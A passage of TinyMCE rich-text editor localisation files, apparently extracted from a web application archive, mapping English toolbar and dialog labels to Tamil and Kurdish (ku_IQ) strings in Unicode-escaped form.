"Could not load emoticons": "\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bc8 \u0b8f\u0bb1\u0bcd\u0bb1 \u0bae\u0bc1\u0b9f\u0bbf\u0baf\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8",
"People": "\u0bae\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Animals and Nature": "\u0bae\u0bbf\u0bb0\u0bc1\u0b95\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0b87\u0baf\u0bb1\u0bcd\u0b95\u0bc8",
"Food and Drink": "\u0b89\u0ba3\u0bb5\u0bc1 \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0baa\u0bbe\u0ba9\u0bae\u0bcd",
"Activity": "\u0b9a\u0bc6\u0baf\u0bb1\u0bcd\u0baa\u0bbe\u0b9f\u0bc1",
"Travel and Places": "\u0baa\u0baf\u0ba3\u0bae\u0bcd \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0b87\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Objects": "\u0baa\u0bca\u0bb0\u0bc1\u0b9f\u0bcd\u0b95\u0bb3\u0bcd",
"Flags": "\u0b95\u0bca\u0b9f\u0bbf\u0b95\u0bb3\u0bcd",
"Characters": "\u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Characters (no spaces)": "\u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd (\u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf\u0b95\u0bb3\u0bcd \u0b87\u0bb2\u0bcd\u0bb2\u0bc8)",
"{0} characters": "{0} \u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Error: Form submit field collision.": "\u0baa\u0bbf\u0bb4\u0bc8: \u0baa\u0b9f\u0bbf\u0bb5\u0bae\u0bcd \u0b9a\u0bae\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bbf\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd \u0baa\u0bc1\u0bb2\u0bae\u0bcd \u0bae\u0bcb\u0ba4\u0bb2\u0bcd.",
"Error: No form element found.": "\u0baa\u0bbf\u0bb4\u0bc8: \u0baa\u0bc1\u0bb2\u0bae\u0bcd \u0bae\u0bc2\u0bb2\u0b95\u0bae\u0bcd \u0b8e\u0ba4\u0bc1\u0bb5\u0bc1\u0bae\u0bcd \u0b95\u0bbe\u0ba3\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8.",
"Update": "\u0baa\u0bc1\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0b95\u0bcd\u0b95",
"Color swatch": "\u0ba8\u0bbf\u0bb1\u0b9a\u0bcd \u0b9a\u0bcb\u0ba4\u0ba9\u0bc8\u0b95\u0bcd\u0b95\u0bb2\u0bb5\u0bc8",
"Turquoise": "\u0ba8\u0bc0\u0bb2\u0baa\u0bcd\u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Green": "\u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Blue": "\u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Purple": "\u0b8a\u0ba4\u0bbe",
"Navy Blue": "\u0b95\u0b9f\u0bb1\u0bcd\u0baa\u0b9f\u0bc8 \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Dark Turquoise": "\u0b85\u0b9f\u0bb0\u0bcd \u0ba8\u0bc0\u0bb2\u0baa\u0bcd\u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Dark Green": "\u0b85\u0b9f\u0bb0\u0bcd \u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Medium Blue": "\u0ba8\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bb0 \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Medium Purple": "\u0ba8\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bb0 \u0b8a\u0ba4\u0bbe",
"Midnight Blue": "\u0ba8\u0bb3\u0bcd\u0bb3\u0bbf\u0bb0\u0bb5\u0bc1 \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Yellow": "\u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Orange": "\u0b9a\u0bbf\u0bb5\u0ba8\u0bcd\u0ba4 \u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Red": "\u0b9a\u0bbf\u0bb5\u0baa\u0bcd\u0baa\u0bc1",
"Light Gray": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0b9a\u0bbe\u0bae\u0bcd\u0baa\u0bb2\u0bcd",
"Gray": "\u0b9a\u0bbe\u0bae\u0bcd\u0baa\u0bb2\u0bcd",
"Dark Yellow": "\u0b85\u0b9f\u0bb0\u0bcd \u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Dark Orange": "\u0b85\u0b9f\u0bb0\u0bcd \u0b9a\u0bbf\u0bb5\u0ba8\u0bcd\u0ba4 \u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Dark Red": "\u0b85\u0b9f\u0bb0\u0bcd \u0b9a\u0bbf\u0bb5\u0baa\u0bcd\u0baa\u0bc1",
"Medium Gray": "\u0ba8\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bb0 \u0b9a\u0bbe\u0bae\u0bcd\u0baa\u0bb2\u0bcd",
"Dark Gray": "\u0b85\u0b9f\u0bb0\u0bcd \u0b9a\u0bbe\u0bae\u0bcd\u0baa\u0bb2\u0bcd",
"Light Green": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Light Yellow": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Light Red": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd\u00a0\u0b9a\u0bbf\u0bb5\u0baa\u0bcd\u0baa\u0bc1",
"Light Purple": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0b8a\u0ba4\u0bbe",
"Light Blue": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Dark Purple": "\u0b85\u0b9f\u0bb0\u0bcd \u0b8a\u0ba4\u0bbe",
"Dark Blue": "\u0b85\u0b9f\u0bb0\u0bcd \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Black": "\u0b95\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc1",
"White": "\u0bb5\u0bc6\u0bb3\u0bcd\u0bb3\u0bc8",
"Switch to or from fullscreen mode": "\u0bae\u0bc1\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0bb0\u0bc8 \u0bae\u0bc1\u0bb1\u0bc8\u0bae\u0bc8\u0b95\u0bcd\u0b95\u0bc1\/\u0bae\u0bc1\u0bb1\u0bc8\u0bae\u0bc8\u0baf\u0bbf\u0bb2\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bc1\u0b95",
"Open help dialog": "\u0b89\u0ba4\u0bb5\u0bbf \u0b89\u0bb0\u0bc8\u0baf\u0bbe\u0b9f\u0bb2\u0bcd \u0ba4\u0bbf\u0bb1\u0b95\u0bcd\u0b95",
"history": "\u0bb5\u0bb0\u0bb2\u0bbe\u0bb1\u0bc1",
"styles": "\u0baa\u0bbe\u0ba3\u0bbf\u0b95\u0bb3\u0bcd",
"formatting": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd",
"alignment": "\u0b9a\u0bc0\u0bb0\u0bae\u0bc8\u0bb5\u0bc1",
"indentation": "\u0b89\u0bb3\u0bcd\u0ba4\u0bb3\u0bcd\u0bb3\u0bc1\u0ba4\u0bb2\u0bcd",
"Font": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1",
"Size": "\u0b85\u0bb3\u0bb5\u0bc1",
"More...": "\u0bae\u0bc7\u0bb2\u0bc1\u0bae\u0bcd...",
"Select...": "\u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0b95...",
"Preferences": "\u0bb5\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Yes": "\u0b86\u0bae\u0bcd",
"No": "\u0b87\u0bb2\u0bcd\u0bb2\u0bc8",
"Keyboard Navigation": "\u0bb5\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0bb2\u0b95\u0bc8 \u0bb5\u0bb4\u0bbf\u0b9a\u0bcd\u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd",
"Version": "\u0baa\u0ba4\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Code view": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1 \u0ba8\u0bcb\u0b95\u0bcd\u0b95\u0bc1",
"Open popup menu for split buttons": "\u0baa\u0bbf\u0bb3\u0bb5\u0bc1 \u0baa\u0bca\u0ba4\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd\u0b95\u0bb3\u0bc1\u0b95\u0bcd\u0b95\u0bc1 \u0bae\u0bc7\u0bb2\u0bcd\u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1 \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bc8 \u0ba4\u0bbf\u0bb1\u0b95\u0bcd\u0b95",
"List Properties": "\u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bbf\u0b9f\u0bc1\u0b95",
"List properties...": "\u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bbf\u0b9f\u0bc1\u0b95...",
"Start list at number": "\u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bc8 \u0b87\u0ba8\u0bcd\u0ba4 \u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0bb2\u0bcd \u0ba4\u0bca\u0b9f\u0b99\u0bcd\u0b95\u0bc1\u0b95",
"Line height": "\u0bb5\u0bb0\u0bbf \u0b89\u0baf\u0bb0\u0bae\u0bcd",
"comments": "\u0b95\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bb3\u0bcd",
"Format Painter": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0baa\u0bc2\u0b9a\u0bbe\u0bb3\u0ba9\u0bcd",
"Insert\/edit iframe": "iframe \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Capitalization": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"lowercase": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bc6\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"UPPERCASE": "\u0baa\u0bc7\u0bb0\u0bc6\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Title Case": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bcd",
"permanent pen": "\u0ba8\u0bbf\u0bb0\u0ba8\u0bcd\u0ba4\u0bb0\u0baa\u0bcd \u0baa\u0bc7\u0ba9\u0bbe",
"Permanent Pen Properties": "\u0ba8\u0bbf\u0bb0\u0ba8\u0bcd\u0ba4\u0bb0\u0baa\u0bcd \u0baa\u0bc7\u0ba9\u0bbe \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Permanent pen properties...": "\u0ba8\u0bbf\u0bb0\u0ba8\u0bcd\u0ba4\u0bb0\u0baa\u0bcd \u0baa\u0bc7\u0ba9\u0bbe \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd...",
"case change": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bae\u0bcd",
"page embed": "\u0baa\u0b95\u0bcd\u0b95\u0bae\u0bcd \u0b89\u0b9f\u0bcd\u0baa\u0bca\u0ba4\u0bbf\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd",
"Advanced sort...": "\u0bae\u0bc7\u0bae\u0bcd\u0baa\u0b9f\u0bcd\u0b9f \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baf\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd...",
"Advanced Sort": "\u0bae\u0bc7\u0bae\u0bcd\u0baa\u0b9f\u0bcd\u0b9f \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baf\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Sort table by column ascending": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8\u0baf\u0bc8 \u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b8f\u0bb1\u0bc1\u0bae\u0bc1\u0b95\u0bae\u0bbe\u0b95 \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Sort table by column descending": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8\u0baf\u0bc8 \u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b87\u0bb1\u0b99\u0bcd\u0b95\u0bc1\u0bae\u0bc1\u0b95\u0bae\u0bbe\u0b95 \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Sort": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Order": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0bae\u0bc1\u0bb1\u0bc8",
"Sort by": "\u0b87\u0ba4\u0ba9\u0bbe\u0bb2\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Ascending": "\u0b8f\u0bb1\u0bc1\u0bae\u0bc1\u0b95\u0bae\u0bcd",
"Descending": "\u0b87\u0bb1\u0b99\u0bcd\u0b95\u0bc1\u0bae\u0bc1\u0b95\u0bae\u0bcd",
"Column {0}": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 {0}",
"Row {0}": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 {0}",
"Spellcheck...": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0baf\u0bc8 \u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0b95\u0bcd\u0b95...",
"Misspelled word": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0baf\u0bc1\u0bb3\u0bcd\u0bb3 \u0b9a\u0bca\u0bb2\u0bcd",
"Suggestions": "\u0baa\u0bb0\u0bbf\u0ba8\u0bcd\u0ba4\u0bc1\u0bb0\u0bc8\u0b95\u0bb3\u0bcd",
"Change": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Finding word suggestions": "\u0b9a\u0bca\u0bb2\u0bcd \u0baa\u0bb0\u0bbf\u0ba8\u0bcd\u0ba4\u0bc1\u0bb0\u0bc8\u0b95\u0bb3\u0bcd \u0b95\u0ba3\u0bcd\u0b9f\u0bb1\u0bbf\u0baf\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0b95\u0bbf\u0bb1\u0ba4\u0bc1",
"Success": "\u0bb5\u0bc6\u0bb1\u0bcd\u0bb1\u0bbf",
"Repair": "\u0b9a\u0bb0\u0bbf \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Issue {0} of {1}": "\u0baa\u0bbf\u0bb0\u0b9a\u0bcd\u0b9a\u0bbf\u0ba9\u0bc8 {0} \/ {1}",
"Images must be marked as decorative or have an alternative text description": "\u0baa\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b85\u0bb2\u0b99\u0bcd\u0b95\u0bbe\u0bb0\u0bae\u0bbe\u0b95 \u0b95\u0bc1\u0bb1\u0bbf\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd \u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0b89\u0bb0\u0bc8 \u0bb5\u0bbf\u0bb3\u0b95\u0bcd\u0b95\u0ba4\u0bcd\u0ba4\u0bc8 \u0b95\u0bca\u0ba3\u0bcd\u0b9f\u0bbf\u0bb0\u0bc1\u0b95\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd",
"Images must have an alternative text description. Decorative images are not allowed.": "\u0baa\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0b89\u0bb0\u0bc8 \u0bb5\u0bbf\u0bb3\u0b95\u0bcd\u0b95\u0ba4\u0bcd\u0ba4\u0bc8 \u0b95\u0bca\u0ba3\u0bcd\u0b9f\u0bbf\u0bb0\u0bc1\u0b95\u0bcd\u0b95 \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd. \u0b85\u0bb2\u0b99\u0bcd\u0b95\u0bbe\u0bb0\u0baa\u0bcd \u0baa\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bc1\u0b95\u0bcd\u0b95\u0bc1 \u0b85\u0ba9\u0bc1\u0bae\u0ba4\u0bbf\u0baf\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8.",
"Or provide alternative text:": "\u0b85\u0bb2\u0bcd\u0bb2\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1 \u0b89\u0bb0\u0bc8\u0baf\u0bc8 \u0bb5\u0bb4\u0b99\u0bcd\u0b95\u0bb5\u0bc1\u0bae\u0bcd",
"Make image decorative:": "\u0baa\u0b9f\u0ba4\u0bcd\u0ba4\u0bc8 \u0b85\u0bb2\u0b99\u0bcd\u0b95\u0bbe\u0bb0\u0bae\u0bbe\u0ba9\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"ID attribute must be unique": "ID \u0baa\u0ba3\u0bcd\u0baa\u0bc1 \u0ba4\u0ba9\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1\u0bb5\u0bae\u0bbe\u0b95 \u0b87\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd \u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd",
"Make ID unique": "ID-\u0baf\u0bc8 \u0ba4\u0ba9\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1\u0bb5\u0bae\u0bbe\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Keep this ID and remove all others": "\u0b87\u0ba8\u0bcd\u0ba4 ID-\u0baf\u0bc8 \u0bb5\u0bc8\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bca\u0ba3\u0bcd\u0b9f\u0bc1 \u0bae\u0bb1\u0bcd\u0bb1 \u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bb5\u0bc1\u0bae\u0bcd",
"Remove this ID": "\u0b87\u0ba8\u0bcd\u0ba4 ID \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Remove all IDs": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc1 ID-\u0b95\u0bb3\u0bc8\u0baf\u0bc1\u0bae\u0bcd \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Checklist": "\u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1 \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Anchor": "\u0ba8\u0b99\u0bcd\u0b95\u0bc2\u0bb0\u0bae\u0bcd",
"Special character": "\u0b9a\u0bbf\u0bb1\u0baa\u0bcd\u0baa\u0bc1 \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1",
"Code sample": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1 \u0bae\u0bbe\u0ba4\u0bbf\u0bb0\u0bbf",
"Color": "\u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Document properties": "\u0b86\u0bb5\u0ba3\u0ba4\u0bcd\u0ba4\u0bbf\u0ba9\u0bcd \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Image description": "\u0baa\u0b9f \u0bb5\u0bbf\u0bb5\u0bb0\u0bae\u0bcd",
"Image": "\u0baa\u0b9f\u0bae\u0bcd",
"Insert link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"Target": "\u0b87\u0bb2\u0b95\u0bcd\u0b95\u0bc1",
"Link": "\u0b87\u0ba3\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Poster": "\u0b9a\u0bc1\u0bb5\u0bb0\u0bca\u0b9f\u0bcd\u0b9f\u0bbf",
"Media": "\u0b8a\u0b9f\u0b95\u0bae\u0bcd",
"Print": "\u0b85\u0b9a\u0bcd\u0b9a\u0bbf\u0b9f\u0bc1\u0b95",
"Prev": "\u0bae\u0bc1\u0ba8\u0bcd\u0ba4\u0bc8\u0baf",
"Find and replace": "\u0b95\u0ba3\u0bcd\u0b9f\u0bc1\u0baa\u0bbf\u0b9f\u0bbf\u0ba4\u0bcd\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Whole words": "\u0bae\u0bc1\u0bb4\u0bc1 \u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"Insert template": "\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1 \u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bc1\u0b95"
});PK
h�\��R��T�T!program/js/tinymce/langs/ku_IQ.jsnu�[���tinymce.addI18n('ku_IQ',{
"Redo": "\u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5",
"Undo": "\u06af\u06d5\u0695\u0627\u0646\u06d5\u0648\u06d5",
"Cut": "\u0628\u0695\u06cc\u0646",
"Copy": "\u0644\u06d5\u0628\u06d5\u0631\u06af\u0631\u062a\u0646\u06d5\u0648\u06d5",
"Paste": "\u0644\u06a9\u0627\u0646\u062f\u0646",
"Select all": "\u0647\u06d5\u06b5\u0628\u0698\u0627\u0631\u062f\u0646\u06cc \u0647\u06d5\u0645\u0648\u0648",
"New document": "\u0628\u06d5\u06b5\u06af\u06d5\u0646\u0627\u0645\u06d5\u06cc \u0646\u0648\u06ce",
"Ok": "\u0628\u0627\u0634\u06d5",
"Cancel": "\u067e\u0627\u0634\u06af\u06d5\u0632\u0628\u0648\u0648\u0646\u06d5\u0648\u06d5",
"Visual aids": "\u0647\u0627\u0648\u06a9\u0627\u0631\u06cc \u0628\u06cc\u0646\u06d5\u06cc\u06cc",
"Bold": "\u062a\u06c6\u062e\u06a9\u0631\u062f\u0646",
"Italic": "\u0644\u0627\u0631\u06a9\u0631\u062f\u0646",
"Underline": "\u0647\u06ce\u06b5 \u0628\u06d5\u0698\u06ce\u0631\u062f\u0627\u0646",
"Strikethrough": "\u0647\u06ce\u06b5 \u0628\u06d5\u0646\u0627\u0648\u062f\u0627\u0646",
"Superscript": "\u0633\u06d5\u0631\u0646\u0648\u0648\u0633",
"Subscript": "\u0698\u06ce\u0631\u0646\u0648\u0648\u0633",
"Clear formatting": "\u067e\u0627\u06a9\u06a9\u0631\u062f\u0646\u06d5\u0648\u06d5\u06cc \u0634\u06ce\u0648\u0627\u0632\u06a9\u0631\u062f\u0646",
"Align left": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0686\u06d5\u067e",
"Align center": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0646\u0627\u0648\u06d5\u0695\u0627\u0633\u062a",
"Align right": "\u0644\u0627\u06af\u0631\u062a\u0646\u06cc \u0695\u0627\u0633\u062a",
"Justify": "\u0647\u0627\u0648\u0695\u06ce\u06a9\u06cc ",
"Bullet list": "\u0644\u06cc\u0633\u062a\u06cc \u062e\u0627\u06b5",
"Numbered list": "\u0644\u06cc\u0633\u062a\u06cc \u0698\u0645\u0627\u0631\u06d5",
"Decrease indent": "\u06a9\u06d5\u0645\u06a9\u0631\u062f\u0646\u06cc \u0628\u06c6\u0634\u0627\u06cc\u06cc",
"Increase indent": "\u0632\u06cc\u0627\u062f\u06a9\u0631\u062f\u0646\u06cc \u0628\u06c6\u0634\u0627\u06cc\u06cc",
"Close": "\u062f\u0627\u062e\u0633\u062a\u0646",
"Formats": "\u0634\u06ce\u0648\u0627\u0632\u06a9\u0631\u062f\u0646\u06d5\u06a9\u0627\u0646",
"Your browser doesn't support direct access to the clipboard. Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "\u0648\u06ce\u0628\u06af\u06d5\u0695\u06d5\u06a9\u06d5\u062a \u067e\u0627\u06b5\u067e\u0634\u062a\u06cc \u062f\u06d5\u0633\u062a\u06a9\u06d5\u0648\u062a\u0646\u06cc \u0695\u0627\u0633\u062a\u06d5\u0648\u062e\u06c6\u06cc \u06a9\u0644\u06cc\u067e\u0628\u06c6\u0631\u062f \u0646\u0627\u06a9\u0627\u062a. \u062a\u06a9\u0627\u06cc\u06d5 \u0644\u06d5\u062c\u06cc\u0627\u062a\u06cc \u06a9\u0648\u0631\u062a\u0628\u0695\u06d5\u06a9\u0627\u0646\u06cc Ctrl+X\/C\/V \u062a\u06d5\u062e\u062a\u06d5\u06a9\u0644\u06cc\u0644 \u0628\u06d5\u06a9\u0627\u0631\u0628\u06ce\u0646\u06d5.",
"Headers": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5\u06a9\u0627\u0646",
"Header 1": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 1",
"Header 2": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 2",
"Header 3": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 3",
"Header 4": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 4",
"Header 5": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 5",
"Header 6": "\u0633\u06d5\u0631\u067e\u06d5\u0695\u06d5 6",
"Headings": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a\u06d5\u06a9\u0627\u0646",
"Heading 1": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 1",
"Heading 2": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 2",
"Heading 3": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 3",
"Heading 4": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 4",
"Heading 5": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 5",
"Heading 6": "\u0633\u06d5\u0631\u0628\u0627\u0628\u06d5\u062a 6",
"Preformatted": "Preformatted",
"Div": "Div",
"Pre": "Pre",
"Code": "\u06a9\u06c6\u062f",
"Paragraph": "\u0628\u0695\u06af\u06d5",
"Blockquote": "Blockquote",
"Inline": "\u0644\u06d5\u0633\u06d5\u0631\u062f\u06ce\u0631",
"Blocks": "\u0628\u0644\u06c6\u06a9\u06d5\u06a9\u0627\u0646",
